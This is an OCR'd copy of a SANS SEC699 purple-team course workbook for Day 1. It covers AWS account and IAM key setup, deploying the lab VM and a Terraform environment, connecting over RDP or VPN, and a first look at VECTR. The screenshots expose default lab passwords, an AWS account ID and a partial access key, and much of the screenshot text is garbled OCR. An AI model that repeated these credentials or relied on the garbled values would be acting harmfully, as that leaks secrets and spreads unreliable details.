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Day 1: Introduction to Purple-Teaming Tools

Welcome to Day 1 of SEC699! This wiki will walk you through the different labs of the week!

Find below the network topology of the lab environment you will be working in.

" DOMAIN: sec699-20.lab
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[ e

Windows 10
182168 20105
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Firewall

If you have any questions, please don't hesitate to reach out to your Instructor!

Exercise 0: Creating an AWS account

As a prerequisite for the class, we will complete the following steps:

e Create an AWS account to use during the class;
e Download the SEC699 VM.

Objective 1: Creating an AWS account

During this objective, we will create an Amazon account. To do this, you have to have the
following prerequisites ready:

e Avalid email adress to register your AWS account;
e Avalid credit card to link to your AWS account.

1. Go to aws.amazon.com; you will be presented with the following view:

© 2021 NVISO and James Shewmaker 1
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P Amazon Web Services (AWS) - X =

< 2> C 8 aws.amazon.com

aws_ Contact Sales Support» English= My Account=
oy -y

Products Solutions Pricing Documentation Learn Partner Network AWS Marketplace Custc > Q

See the AWS Initiatives and Response to COVID-19 »

Start Building on AWS Today

Whether you're looking for compute power,
database storage, content delivery, or other
functionality, AWS has the services to help you
build sophisticated applications with increased
flexibility, scalability and reliability

Select your cookie preferences

We use cookies and simiiar tools o enhance your expenence, provide our semvices, defiver relevant adveriising, and
make improvemenis. Approved third pariies also use these tools 1o help us deliver advertising and provide cerizin site

features.
m " Acceptall

2. Click on create an AWS Account and follow the sign-up steps:

2 © 2021 NVISO and James Shewmaker
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I AWS Console—Signup b4 +

<« = - 8 portalaws.amazon.com, billing/siany 2=h.cBsre=defaultlrddirect url=hi Lo g % Incognito

BWQ English =

Create an AWS account

Emall address

AWS Accounts Include -
12 Months of Free Tier s .
Access

Confirm password

Including use of Amazon ECZ. Amazon 53, and

Amazon DynameDB ® Fhe prrwonds ane wofeghal
Visil aws.amazon.comifree for full offer terms AWS account name €
Continus

Sign in to an existing AWS account

S Amezon Weh Sarnces nc of ds sffesies

SEMVED
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3. When having to select a support plan, select the Basic Plan:

English =

Select a Support Plan

Yve oifer 3 varied seleclion of plans to mee! your needs. Please select a Suppori plan that
best aligns with your AWS usage. To leain more about plan compardsons and pricing
samples. click here. You can change the Support plan anytime from the Consele

Basic Plan Developer Plan Business Plan
Fetommersded for new Wsels Recommended for developers Recommended for funmng
just gettfing stasfed with AWE sxnenmenting With 2Ws production Werklosds on AWS

1 ]
Free [ From $28/maonih From s100/manth
» 2457 self-sotvice atcess « Emal access to AWSE » 247 {ech support viz

SOUNCes Support during busin email. phone, and chal
hours
« For atzouni and bilfing = T-hour respoense fimes
tssues only » 12 (business)-hour

response fimes
s A 10 Personal

Haallh Deshboard & recommendalior
Trustad Advisor

Need Enterprise level support?
15,0002 month you will recewve T5-minuta
response imes and concigrge-style expenence with an
ed Technical Account Man t

4. You will be redirected back to the main AWS screen after signing up. Click on Sign in to
the Console:
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aWS Contact Sales Support» English= My Account= Create an AWS Account

Products Solutions Pricing Documentation Leamn Partner Network AWS Marketplace Custe > Q

Welcome to Amazon Web Sign In o-he Console

Services

Thank you for creating an Amazon Web Services
Account. We are activating your account, which should
only take a few minutes. You will receive an email
when this is complete.

Personalize Your Experience

Fill in the blanks below to receive recommendations catered to your role and interests.

My role is: select role =

5. When logging in, select Root user and provide your AWS credentials:
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dWS

“"--.._..-:?

Sign in

(® Root user
Account owner [hat parfoms tesks requining
Unrosticted acease L eam more

() 1AM user
zer within an account that performs daily tagks
Learn more

Root user email addrass

CVENY W VY,

Create 3 new AWS account |
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6. Once logged in, you will be presented with the AWS overview:

Ohio »

Support ¥

‘.:'_V_US Services ¥

AWS Management Console

AWS services Stay connected to your AWS
resources on-the-go

Find Services
You £an enter names, keywords ar acrpnyms (=) Download the AWS Console Mabile
App to your 105 or Android mobile
—J  device. Leam more [

P All services
Explore AWS

Build a solution AWS Certification

Get started with simpie wizards and automated worldiows Explore the resources Svaliable s help you
prepare for your AWS Certification
Learn mare [

Launch a virtual machine Build a web app ' g

With EC2 With Elastic Beanstalk

B minutes RDS Read Replicas

2-3 minutes

Achiave scale and low-latency for read-heavy

| (-\'5 workloads with RDS Read Replicas.
Learn mare [&

Amaron S Mal Autnnilat

Objective 2: Creating an AWS API key

In the previous objective, we have created an AWS account. In this step, we will create a
programmatic EC2 user to use for the SANS SEC699 lab deployment.

1. Inthe AWS Find Services box, search for 1AM and click the that respective item in the
dropdown list.

© 2021 NVISO and James Shewmaker 7
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c':IWS Services ¥ Ohio » Support

AWS Management Console

AWS services Stay connected to your AWS
resources on-the-go

Find Services
You £an enter names. keywords ar acronyms (=] Download the AWS Cansole Mabile

- App to your 105 or Android mobile
a | (8] e
| | X device, Learn more [4

1AM

i
p 5% 10 JAW'S

B Al services
Explore AWS

Build a solution AWS Certification

Get started with-simple wizards and automated worldiows Explore the resources Svailzbletn help you

prepare for your AWS Cartification.

. . . Learm more [A
Launch a virtual machine Build a web app '
With EC2 With Elastic Beanstalk
2-3 minutes b minutes RDS Read Replicas

Achieve scale and low-latency for read-heavy
| (\') workloads with RDS Read Replicas.
| Learn more [
Amarnn SanaMaler Autaniint

2. Once clicked, you will be presented with the 1AM overview dashboard.
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el v Support w

Identity and Access ! e =
Management (IAM) <« |AM dashboard Additional

information (£
Sign-in URL for |AM users in this account

|AM decumentation

Dashboard https /345711840619 slgnin.aws.amazon com/console (7 | Customze
Videos. 1AM release
+ Access management IAM resources history and addifonal
Groups s Roles: 2 fesolurces
Users Groups: 0 tdentity providers: 0 Tools (7
Raoles Cusgtamer managed policies 0 : .
= ecy \Web Identity federation
Policies : tayground
Security alerts el
identity providers Policy simuiator
& The rogt user for this account does not have uiti-faclor
Account seffings authentication (MFA) enabled. Enable MFA to improve security for Quick links
this account
= Access reports Iy access key

Best practices
ACEess analyzer

Archive rules = Grant leas! privilege access (3- Establishing a prindiple of ieast
privilege ensures thal identiiies are only permitted to perform the most
Analyzers mimimal set of functions necessary to fulfill a specific task, while

) balaneing usability and eficiency

Settings )

= Enable Ideniity federation: Centrally manage users and access across
muitiple applications and services. For federation o mulliple accounts
in your AWS Organization, you can configure vour identity source in

Drganization activily AWS Single Sign-on

Credential report

= Enable MFA. For exira security, we recemmend that you require mul-

Service conirol policies b =
LR factor authentication (MFA) for all users

(SCPs)
» Rotats credentials reguiary: Change your own passwords and 3ccess
keys regularly, and make sure thal all users in your gccount do as
Q, Seamh AN well

3. Click the users option in the sidepanel. Click Add user to open the create user wizard.

Identity and Access - ' | o . i . o |
Management (IAM) N
Q Find users by usemame or access key

Dashboard
+ Access management Username = Groups Access key age Password age Lz

Sroups There are o AM users. Leam more

Users

Roles

Policies

Identity providers

Account settings

+ Access reports

Access analyzer

Archive rules
Analyzers

Settings
Credential report

Organization activity

Senvice conirol policies
(SCPs)
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4. Select the AWS Access type Programmatic access. This will instruct AWS to create a user
linked to an API key. Then click Next: Permissions

Services v Global v Support ¥

,"-i’\':‘- '! user ° 2 5 4

Set user details

o

You can add multiple users at once with the same access type and penmissions. Leam more
Username® | AWS-SECE99

© Add another user

Select AWS access type
Selecl how these users will access AWS. Access Keys and autogenerated passwords are provided in e fast siep. Learn more

Access type* |¥| Programmatic access
Enables an access key ID and secret access key for the AWS AP|, CLI SDK, and
olher devalepment tools

AWS Management Console access
Enables @ password that allows users to sign-in to the AWS Management Console

5. Search for and select AmazonEC2FullAccess . This will grant your EC2 programmatic user
with full EC2 access. Click next and click next on the tag creation view. We do not need to
add tags.

10 © 2021 NVISO and James Shewmaker
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Global w Support v

Add user

+ Set permissions

Copy permissions fom

-’ Ar araun
IHQ" A e 1 group Mmid  oxisting user

Create policy

Filtar policies Q eczrun

Policy name =

vl » BR AmazonECZFullAccess

Aftach exisiing peolicies
directly

Type

AWS managed

Cancel

=
L

Showing 1 result

Used as

Previous Next Tags

6. Click create user to confirm the creation of your AWS programmatic user.

© 2021 NVISO and James Shewmaker
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Global » Suppurt v

Add 1icar
AUU USE] 1 2 3 5

Review
Review your choices. After you treate the user, you can view and download the autogensraled password and access key
User details
Username  AWS-SECA30
AWS access type Programmatic access - with an access key

Permissions boundary Permissions boundary Is not set

Permissions summary

The following policies will be aitached 1o the user shown above.

Type Mame
Managed policy AmazonECZFullAccess
Tags

o tags were added

Cancel Previous [ Create user

7. You will now be presented with your user's APl access credentials. IMPORTANT!: Make
sure to copy these over as they will only be showed once. We will use these in the
next exercices.
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aws Services ¥

Global w Support v

prL=
| 1 2 3 4 o

@ Success
You successfully created the users shown below, You can view and download user security eredentials: You can alse email users
Instructions for signing In 1o the AWS Management Console. This s the last ime these credentials will be available o download. However
you can creale new credentials at any time.

Add L

=
(T

Users with AWS Management Cansole access can sign-in 2 hitps /3457 11840619 signin.aws amazon com/console

& Download .csv

User Access kay ID Secret access key

» & AWS-SECET9 AKIAVCMGY NNVTXTWITOS

Close

Objective 2: Downloading the course VM

To ease the deployment of your SEC699 lab environment, we created a VM which contains all
the tools required to interface with AWS. This VM will be used in the first lab of the course.

You can already download it using the following link: https://sans-sec699-vm.s3.eu-west-
2.amazonaws.com/VM_v0.0.5.zip

Exercise 1: Deploying the Lab environment

During this first exercise, we will walk you through the deployment of your lab environment!

Lab Setup & Preparation

Please ensure you have completed the following steps before continuing:

e Setup an AWS account

© 2021 NVISO and James Shewmaker 13
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e Downloaded the SEC699 student VM

Objective 1: Deploying the VM

Step 1: Locating the OVF File

Locate and double-click the SEC699 OVF file. You should have received a courseware package
on a USB or via a download link. This courseware package should include the virtual machine in
OVF format. Please double-click this file.

If you are prompted to choose a software to open the file, select "VMWare Workstation" which
should be installed on your machine per course requirements.

| « - » SECE3 w|l | SearchSECHSS B
i Kzme ) Pste moedified Type Size
o Quick sccess _
B Deske | | SECE9%.mf WF File 1 KB
o + -

R @ SECH%9.0vf pen Vitualmatio., I
¥ Doikninnds . & SECEvmdk Misre virtizal dis— 5123707 KB
i Documents +
&=/ Pictures ¢

" U o B R ) v
3iterme [E=

Step 2: Importing the OVF File Locally
In VMWare's "Import Virtual Machine" wizard, select a folder on your local machine into which

you want to import the new SEC699 VM. Once chosen, proceed by pressing the outlined
"Import" button, as shown below:

14 © 2021 NVISO and James Shewmaker
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B YMwars Warksation = ]
File Edit View VM Tabs Help | o - S ] 5 0 U I
WORKSTATION 155 PRO™
Createa New, Open a Virtusl Connectto 3
Virtual Machine Machine Remote Server
@ Open X
T » This PC » Documents » Virtual Machines » SECG%9 v U Search SECE23 e
Qrganize = MNew folder =~ [ 0
i Narne 5 Date rrodified Type Sze
£\ SECH99.0vF DEA02020 14012 DOpien Virtalezgtio.. gk
v < >
File name: | SECE08.0vf v| Alsupportedfiles |
" | Goncd |

Depending on your VMWare version, you might be notified that the SEC699 VM does not meet
the OVF specifications. If this is the case, press the "Retry" button to relax the requirement:

© 2021 NVISO and James Shewmaker
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Configure the name and storage path for the SEC699 Virtual Machine:

WORKSTATION 155 PRO"

A 2

ew Open 3 Virtual Connect to
Mirtual Machine Machine ‘Remote Server:

Impaort Virtual Machine *

Store the new Virtual Machine
Provide a name and local storage path for the new
wirtual machine.

SECESY| ]
Storage path for the new virtusl machine:

| Hep | | _tmport || cancs ||

=l bt e

16 © 2021 NVISO and James Shewmaker
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Thee SEC699 VM will be imported, which will likely take a few minutes. Now is a good time to
grab a coffee or reflect on your course expectations, which you can share with the Instructor.
Your Instructor will do their best to make sure you get maximum value out of this course!

B Vntwenrs Worketstiin = |
Fle Edt View YM Tbs Hela | B - | & [ 0 @ & | [0 O 3| [
{1l Heme |
WORKSTATION 155 PRO"
® K =4
F
Create a Mew 'Open a Virtual Connect to a
Virtual Machine Machine Remote Server
YMware Workstation
Imperting SECE93
1
[ ot |
vmware

Once the SEC699 VM is imported, you should see a new entry in the left pane. Congratulations,
you're now ready to start deploying the lab.

© 2021 NVISO and James Shewmaker 17
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& SECA99 - Viiwiare Workstation - H X

File Edit View VM Tabs Help | P - 5| (D 4= S O [ O TS

[[2 Upgrade thiz virtuzl machine
~ Devices
E=lMemory 268
£ FProcessors 2
L2 Hard Disk (SCS1) 20 GB
%) CD/DVD (SATA) Using unknowh ..,
() CD/DVD 2 (54TA) Using unknown ...
Flnppj.r Using drive A:
R Network Adapter MAT
[£]USB Contraller Present
[ 1Display Auto detect

* Description

* Virtual Machine Details
State:
Configuration file;
Hardware compatibility:
Primary IF address:

&

Objective 2: Configuring the VM

Step 1: Start up the SEC699 VM

Start by selecting your newly imported SEC699 VM in the left pane of VMWare. Once you have
the SEC699 tab opened, press the "Power on this virtual machine" link.

18 © 2021 NVISO and James Shewmaker
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m Ubuntu-18.04-SANS - VMware Workstation - H x

Efle  Edit View VM Tabs Help | i D] o] IR

=

) Hema [C] ubuntu-18.09-SANS

[C] Ubuntu-18.04-SANS

= Virtual Machine Deta
State:
Configuration file:
Hardware compatibility
Primary |P address:

Step 2: Log in and verify connectivity

Once you booted up the SEC699 VM, we will verify the network connectivity. Use the default
sans account (password student)to login.

© 2021 NVISO and James Shewmaker 19
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Oct 9 02:06

ubuntu®

Run a simple ping command to verify connectivity: ping 8.8.8.8
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Activities =] Terminal =

& |
student SEC699-LAB
!
— e student@ubuntu: ~
O s | :
Trash PING B.8.8.8 (B.
64 bytes from
64 bytes from 8
64 bytes from
64 bytes from B
64 bytes from
64 bytes from 8
64 bytes from

ing 8.8.8.8
) 56(84) bytes of data.

icmp_seqg=1 ttl=128 time=25.
icmp_seg=2 ttl=128 time=33.
icmp_seg=3 ttl=128 time=31.
icmp_seg=4 ttl=128 time=30.
icmp_seq=5 ttl=128 time=29.
icmp_seg=6 ttl=128 time=25.
icmp_seq=7 ttl=128 time=24.

|

oMM oo oo
oW oo

0 oo o
000 mom mo oo 3

[ - < B Y= ]

Step 3: Configure AWS CLI

To make sure we can build the SEC699 lab environment on AWS, we have to configure the AWS
access. This utility is preinstalled in the VM and will allow us to interface with Amazon AWS.

This can simply be done by running the command: ./manage.sh configure

Make sure to have your AWS Acces Key and Secret on hand. The other fields can be left empty.

© 2021 NVISO and James Shewmaker 21
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[+ student@ubuntu: ~/Desktop/lab-manager O

: 5 ./manage.sh configure
Verifying upstream updates of SEC699 lab-manager
Your current version is up to date.
Updating pip packages...
AWS Access Key ID [None]l:
AWS Secret Access Key [None]:
Default region name [None]:

Objective 3: Deploying the Lab

To ease the lab deployment, we have supplied you with a manage.sh script. This script will take
care of all the actions to deploy/destroy your SANS SEC699 lab environment. This script is built
using Terraform and will manage the SEC699 lab resources on your provided AWS account.

Terraform Terraform enables you to safely and predictably create, change, and improve
infrastructure. It is an open source tool that codifies APIs into declarative configuration
files that can be shared among team members, treated as code, edited, reviewed, and
versioned. Source: https://www.terraform.io

Step 1: Checking out the manage.sh script

To use the manage.sh script, open a terminal prompt and go to the
/home/student/Desktop/lab-manager directory.

22 © 2021 NVISO and James Shewmaker
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55

student@ubuntu: ~/Desktop/lab-manager

—
el
o -

:~5 cd fhome/student/
.aws Documents/ .mozillaf

.cache/ Downloads/ Music/

.contig/ .gnupg/ Pictures/ Templates/

Desktop/ . Local/ Pubtic/ .terraform.df

2 :~5 cd fhome/student/Desktop/lab-manager/
: $

snap/ Videos/
.ssh/

As you can see, the manage.sh isin this directory. When you run it without options, you will get

an overview of all available run options. In the next steps, we will use the bootup options to
boot up the lab environment.

© 2021 NVISO and James Shewmaker 23
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7 student@ubuntu: ~/Desktop/lab-manager

- = : $ ./manage.sh

verifying upstream updates of SEC699 lab-manager

Your current version is up to date.

Updating pip packages...

usage: manage.py [-h] {deploy,destroy,destroy_target,pause,start,list,configure} ...

This script launches a SEC692 student lab environment in AWS. It requires AWS CLI and terraform to be installed and
properly configured.

positional arguments:
{deploy,destroy,destroy target,pause,start,list,configure}
Action to execute

deploy Deploy a SANS SEC692 lab environment
destroy Destroy a deployed SANS SEC692 lab environment
destroy_target Destroy the DC lab target instances deployed in a SANS SEC692 lab environment
EE Pause all lab instances deployed in a SANS SEC699 lab envirenment
start Start all lab instances deployed in a SANS SEC699 lab environment
list List all currently active SANS SEC699 deployments
configure Configure access credentials for AWS.

optional arguments:
-h, —-help show this help message and exit
{ H 5

Step 2: Spinning up the Lab VMs
Time to spin up the lab environment. To do so, you can make use of the manage.sh deploy -t

[version_tag] -r [region] command.

The version tag to use is "v1.0.0", unless otherwise specified by your instructor.

For the region tag, we currently support the following AWS regions: eu-west-1 (Europe),
us-east-1 (US) and ap-southeast-2 (Asia & Australia).

24 © 2021 NVISO and James Shewmaker
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7 student@ubuntu: ~/Desktop/lab-manager

- = : $ ./manage.sh deploy -t v0.08.18 -r eu-west-1
verifying upstream updates of SEC699 lab-manager

Your current version is up to date.

Updating pip packages...

Deploying the lab environment on version v0.8.18 in AWS reglon eu-west-1
Initializing modules...

Initializing the backend...

Initializing provider plugins...
Finding hashicorp/aws versions matching "-= 2.70"...
- Finding latest version of hashicorp/random...
Finding latest version of hashicerp/http...
- Installing hashicorp/aws v2.70.0...
Installed hashicorp/aws v2.78.0 (signed by HashiCorp)
- Installing hashicorp/random v3.8.1...
Installed hashicorp/random v3.08.1 (signed by HashiCorp)
- Installing hashicorp/http vZ.0.0...
Installed hashicerp/http v2.8.0 (signed by HashiCorp)

Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run “terraform init" in the future.

.sec699.random_uuid.scenario_id: Creating...

.sec699.random_uuid,.scenario_id: Creation complete after 0s [id=3dab63c8-del4-d359-a1aB-7c42dbo73an2]
.sec699.aws_vpc.main: Creating...

.sec699.aws_key_pair.auth: Creating...

.sec699.aws_key_pair.auth: Creation complete after 1s [id=vpn262101150931608073400000001]
.sec699.aws_vpc.main: Creation complete after 4s [id=vpc-0338e003b46bac2a9]
.5ec699.aws_subnet.public_subnet: Creating...

The process of deploying the lab environment has started; this usually takes 3-5 minutes.
Once the deploy has finished, you will receive the following output from the script. This means
your environment is ready...

In some cases, the following error can pop up;

Error: Error launching source instance: PendingVerification: Your request for
accessing resources in this region is being validated, and you will not be able to
launch additional resources in this region until the validation is complete. We
will notify you by email once your request has been validated. While normally
resolved within minutes, please allow up to 4 hours for this process to complete.
If the issue still persists, please let us know by writing to aws-
verification@amazon.com for further assistance.
status code: 400, request id: ba537318-1df8-4158-93ec-7cf29a01fcc8
on machines.tf line 25, in resource "aws_dinstance" "soc":
25: resource "aws_instance" "soc" {

This issue is typically resolved by waiting 10 minutes.

You will notice that several .tfstate files get created. These maintain the state of the
deployed Amazon resources. Do not remove these. These files are created on a per
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region and per version basis. This means you can spin up multiple labs in different
regions.

=1 student@ubuntu: ~/Desktop/lab-manager a =

module.sec699.aws_1instance.winld: Still creating... [40s elapsed]
module.sec699.aws_network_interface_sg_attachment.dc_attachment: Creation complete after 1s [id=sg-0880852191ec2ccf267_eni-042
95d8778cd9d361]

module.sec699.aws_network_interface_sg_attachment.sql_attachment: Creation complete after 1s [id=sg-08052191ec2ccf267_eni-04
BB6ch7956402548]

module.sec699.aws_network_interface_sg_attachment.soc_attachment: Creation complete after 1s [id=sg-08852191ec2ccf267_eni-Be
e317903165abbce]

module.sec699.aws_network_interface_sg_attachment.wini9_attachment: Creation complete after is [id=5g-88052191ec2ccf267_eni-
0fdazaaited4dossba]

module.sec699.aws_network_interface_sg_attachment.commando_vm_attachment: Creation complete after 1s [id=sg-0e65alcd908bOf73
7_eni-031bae773f6542366]

module.sec699.aws_network_interface_sg_attachment.c2_attachment: Creation complete after 1s [id=sg-080852191ec2ccf267_eni-07a
a41c13f74e5590]

module.sec699.aws_network_interface_sg_attachment.dc2_attachment: Creation complete after 1s [id=sg-0B8052191ec2ccf267_eni-od
8dB4210e8424226]

module.sec699.aws_instance.winl®: Creation complete after 45s [id=1-87bd8136331992a7f]
module.sec699.aws_network_interface_sg_attachment.wini@_attachment: Creating...
module.sec699.aws_network_interface_sg_attachment.winl0_attachment: Creation complete after 2s [id=sg-0885219lec2ccf267_eni-
076a093d6958dd91c]

e
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The lab environment is ready for use in region eu-west-1 on version v0.0.180
CommandoVPN can be reached on 63.33.133.180 via RDP.

The OpenVPN configuration files can be found in the script folder.
You can connect using sudo openvpn student_eu-west-1_v0.0.10.ovpn

S
3 |

Step 3: Other options available in the manage.sh script

The script also allows you to partially boot up and destroy your lab environment. This will come
in handy when you want to have a fresh setup.

The lab is largely split in two parts:

e The base lab environment includes the CommandoVM, the SOC, and C2 systems.
e The target lab environment includes the Domain Controllers and all member domain
systems (d¢, dc2, win10, win19 and sql)

Typical commands you'll run during your training include:

At the start of every day, deploy the full lab (i.e., deploy the base lab and the targets):

./manage.sh deploy -t [version_tag] -r [region] -r [region]
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After an exercise, destroy the lab targets, but let the base lab environment remain:
./manage.sh destroy_target -t [version_tag] -r [region]

At the end of every day, we recommend that you destroy the full lab environment (to avoid any
unnecessary AWS costs):

./manage.sh destroy -t [version_tag] -r [region]
To list all the currently active lab environments, you can run:
./manage.sh list
To shut down ("pause") all the currently active VMs in a lab environment, you can run:
./manage.sh pause -t [version_tag] -r [region]
To restart paused VMs in a lab environment, you can run:
./manage.sh start -t [version_tag] -r [region]
To reconfigure the AWS API access credentials, you can run:

. /manage.sh configure

Objective 4: Connecting to the Lab

In this lesson, we will connect to the lab environment.

Step 1: Connecting with the environment

To connect to the lab environment, you can make use of either RDP or an OpenVPN client.
Dependent on the lab one of both ways will be preferred.

RDP

Using the RDP method, you can directly connect to a CommandoVM RDP session. Please take
note that no VPN is required to connect to this machine. Your IP has been whitelisted by
our deployment script.

To connect, we are going to make use of Remmina, a handy connectivity utility which comes
preinstalled with Ubuntu.
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Remmina Remmina is a remote desktop client for POSIX-based computer operating
systems. It supports the Remote Desktop Protocol, VNC, NX, XDMCP, SPICE and SSH
protocols. Source: https://remmina.org/

1. Obtain the CommandoVM RDP IP from the manage.sh script. Copy over the IP in

v/

Remmina Remote Desktop Cl...

Remmina and press enter .

RDP = | 54.216.193.157

Total 0items.

e found in the script folder.
n student.ovpn
5
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2. Accept the RDP certificate in Remmina.

54.216.193.197

®54.216.193.197 @

Certificate details:

Subject: CN = commando

Issuer: CN =commando

Fingerprint: F6:05:1¢:82:a7:94:36;10:7¢:50:d3:00:F2:33:69: Tarbe:35:26:Fd e 1: Fb:b0:0aiBa:c2:91:3¢:Fes 1 1:36:a4
Accept certificate?

Yes No

"
5106192197 v

tuds wpetvpn Ilpdent Gvpn

3. Enter the RDP session credentials. Use the default student account (password student)
to log in. Click OK.
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54.216.193.197

@ 54.216.193.197 @

Enter RDP authentication credentials

Username student

Password

Domain

Save password

4. After a few seconds, you will be connected with the CommandoVM RDP ression. Make
sure to click the Toggle dynamic resolution update button to ensure the RDP session
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resolution is updated to fit your screen.

54.216.193.197

© 54.216.193.197 ©

E

ThisPC

RE&DME £t Toals

T:06 AM
10/9/2020

T de ENG

5. On this VM, you have connectivity to all the resources deployed in the lab. You might spot
an error raised by Docker. This can be safely neglected as we will not use Docker during
the SEC699 labs.
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O Error

An error occurred @

re.DockerException:
re.Backend.BackendException:
istart Hyper-V VM: DockerDesktopVM' failed to start.

tart the virtual machine DockerDes ktopVM' because one of the Hyper-\ components is not running.
sktopVM' failed to start. (Virtual machine 1D 0D619BF6-2C87-4E82-8CTB-833FE3494C71)

| Machine Management Service failed to start the virtual machine 'DockerDesktopVM' because one of
ohyLinuxVM, <No file>: line 588

3lack>. <No file>; line 811

;’Ianagemmtuﬁ.ummatmn.ﬁu ntimeException:
o start Hyper-V Vvt DackerDesktopWM' failed to start,

A crash report is being collected, please wait...
Crash reports contain detailed information used to troubleshoot Docker Desktop. We

gather Hyper-V canfiguration, Windows version, network and drives settings, logfiles and
more. Read our policy regarding uploaded diagnostic data.

Reset to factory defaults - Quit

VPN

Using the VPN method, you are connecting to the same network as the lab VMs and

CommandoVM. However, you are capable of directly accessing the machines without having to

o through an RDP session. This allows you directly connect to the lab machines.

1. Open a command prompt and navigate to the /home/student/Desktop/lab-manager
directory. In this directory, you will find a student.ovpn file. This file was generated by
the manage.sh script by spinning up the lab environment. When you spin up a new base

lab, a new student.ovpn file will be created.
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' _;/

Remmina Remote Desktop C1

11 student@ubuntu: ~/Desktop/SEC699-LAB

total 116

drWxXrwxrwx student student

drwxr-xr-x student student

drwxrwxrwx 4 student student

drwxrwxrwx student student

-rwxrw-rw- 1 student student

-rwxrw-rw- 1 student student [

-rw-r--t-- 1 student student 92:50 student.ovpn
-rfW-rw-r-- 1 student student :50 terraform_base.tfstate
-TW-rw-r-- 1 student student :51 terraform_lab.tfstate

2. Issue the following command: sudo openvpn student.ovpn . Provide the sudo password
student while prompted. You will now get connected.
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"R EE R R R

r 5 openvpn student.ovpn

[sudo] passwerd for student:

Fri Oct 9 85:308:12 2620 Unrecognized option or missing or extra parameter(s) in student.ovpn:14: b
lock-outside-dns (2.4.7)

Fri Oct 9 ©5:38:12 2028 OpenVPN 2.4.7 x86 64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKC
511] [MH/PKTINFO] [AEAD] built on Sep 5 2019

Fri Oct 9 05:38:12 2828 library versions: OpenSSL 1.1.1f 31 Mar 2020, LZ0O 2.10

Fri Oct 9 85:30:12 2820 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHAS1
2" for HMAC authentication

Fri Oct 9 ©5:30:12 2020 Incoming Control Channel Authentication: Using 512 bit message hash '"SHAS1
2' for HMAC authentication

Fri Oct 9 05:30:12 2020 TCP/UDP: Preserving recently used remote address: [AF_INET]34.252.176.195:
1194

Fri Oct 9 85:38:12 Socket Buffers: R=[212992->212992] S5=[212992->212992]

Fri oct 05:30:12 UDP link local: (not bound)

Fri Oct 85:30:12 20 UDP link remote: [AF_INET]34.252.176.195:1194

Fri Oct 9 ©5:38:12 26 TLS: Initial packet from [AF_INET]34.252.176.195:1194, sid=623e5e47 c28a83
28

Fri oct 35:30: 26 VERIFY OK: depth=1, CN=ChangeMe

Fri Oct :30:15 2620 VERIFY KU OK

Fri Oct 9 ©5:38: 28 Validating certificate extended key usage

*

Conclusions

Throughout this lab, we learned how the SEC699 lab environment can be deployed.

Once completed, please stop your target environment. In order to do so, please use the
following command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 2: Introduction to VECTR

VECTR VECTR is a tool that facilitates tracking of your red and blue team testing activities
to measure detection and prevention capabilities across different attack scenarios. VECTR
provides the ability to create assessment groups, which consist of a collection of
Campaigns and supporting Test Cases to simulate adversary threats. Campaigns can be
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broad and span activity across the kill chain, from initial compromise to privilege
escalation and lateral movement and so on, or can be narrow in scope to focus on
specific detection layers, tools, and infrastructure. VECTR is designed to promote full
transparency between offense and defense, encourage training between team members,
and improve detection and prevention success rate across the environment.

VECTR is focused on common indicators of attack and behaviors that may be carried out
by any number of threat actor groups, with varying objectives and levels of sophistication.
VECTR can also be used to replicate the step-by-step TTPs associated with specific groups
and malware campaigns; however, its primary purpose is to replicate attacker behaviors
that span multiple threat actor groups and malware campaigns, past, present and future.
VECTR is meant to be used over time with targeted campaigns, iteration, and measurable
enhancements to both red team skills and blue team detection capabilities. Ultimately,
the goal of VECTR is to make a network resilient to all but the most sophisticated
adversaries and insider attacks.

Source: github.com/SecurityRiskAdvisors/

The goal of this lab is to install VECTR and explore its functionalities. By the end of the lab, we
will have completed the following objectives:

e Working with VECTR (deployed on the SOC stack).
e Creating purple team documentation.

The objectives have been fully documented step-by-step (including all expected commands and
outputs). Feel free to either find your own way, or use the exact instructions as described
below, depending on your experience and expertise.

Your instructor will indicate how much time you can dedicate to this lab.

Lab Setup & Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -t [version_tag] -r [region]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Working with VECTR

Step 1: Logging In
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To start using VECTR, access the interface at https://192.168.20.106.x1ip.i0:8443

As VECTR could possibly handle quite some sensitive information (e.g., detailed information on
red team results and your detection coverage), it's only normal it requires authentication. Use
the default admin account (password 11_ThisIsTheFirstPassword_11)to login.

In production environments, you would need to change this password as soon as possible.

From the SSO (Single-Sign On) page, connect with the admin account (password
11_ThisIsTheFirstPassword_11).

Secm.uri.t.yrﬁ?,._i sk

Sign in to continue to:

VECTR
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Step 2: Organization and Database Selection

As soon as you are logged in, you will be prompted to select your organization. Although some
samples are provided, we will create our own organization... and use a demostration database.

To start creating a new organization, press the outlined "+" button.
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You will be prompted for some details. Feel free to be creative, or use the same as we did:

Name: "SANS SEC699"
Description: "Purple Team Tactics - Adversary Emulation for Breach Prevention & Detection”
Abbreviation: "SEC699"

URL: https://www.sans.org/course/purple-team-tactics-adversary-emulation

Once ready, press the blue "Save" button.
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New Organization

Name"

SANS SECG99

Bescription *

i- Adversary Emulation for Breach Prevention & Detection

Abbreviation

SEC699

url*

ians.org/course/ purple-team-tactics-adversary-emulation|

Members: °

CANCEL

You will then be able to select your new "SANS SEC699" organization.

Select Your Organization

[ secuiy Risk Adyisors
O miTre

[[] Red Canafy.

[] sANS SEC699

+
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The next step is to define which database you will use. For demonstration purposes, we will use
the "DEMO_PURPLE_CE" one.

Open the database selection menu.

Select the "DEMO_PURPLE_CE" database, and then press the blue "Done" button.

Some database upgrades might be needed as we use a pre-populated database. As we did
previously, follow the upgrading instructions.

Step 3: Assessment Overview

We'll get used to the GUI a bit before continuing. To quickly check the outcome of an
assessment, click the "Preview" button under the assessment actions.

Open the dropdown by clicking the triple-dots outlined below.

40 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

From the dropdown, press the "Preview" button as shown below.

When we scroll down a bit, we can now see some details for the assessment. Expand the other
assessments card's menu and have a look at the other test results.
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Assessments

Name

Enterprise Purple — 2017 Q1
Enterprise Purple — 2017 Q3
Enterprise Purple — 2018 Q1
Enterprise Purple - 2018 Q3

Enterprise Purple — 2019 Q1

Enterprise Purple — 2018 Q3

Enterprise Purple — 201803

Assessments Aggregated 21
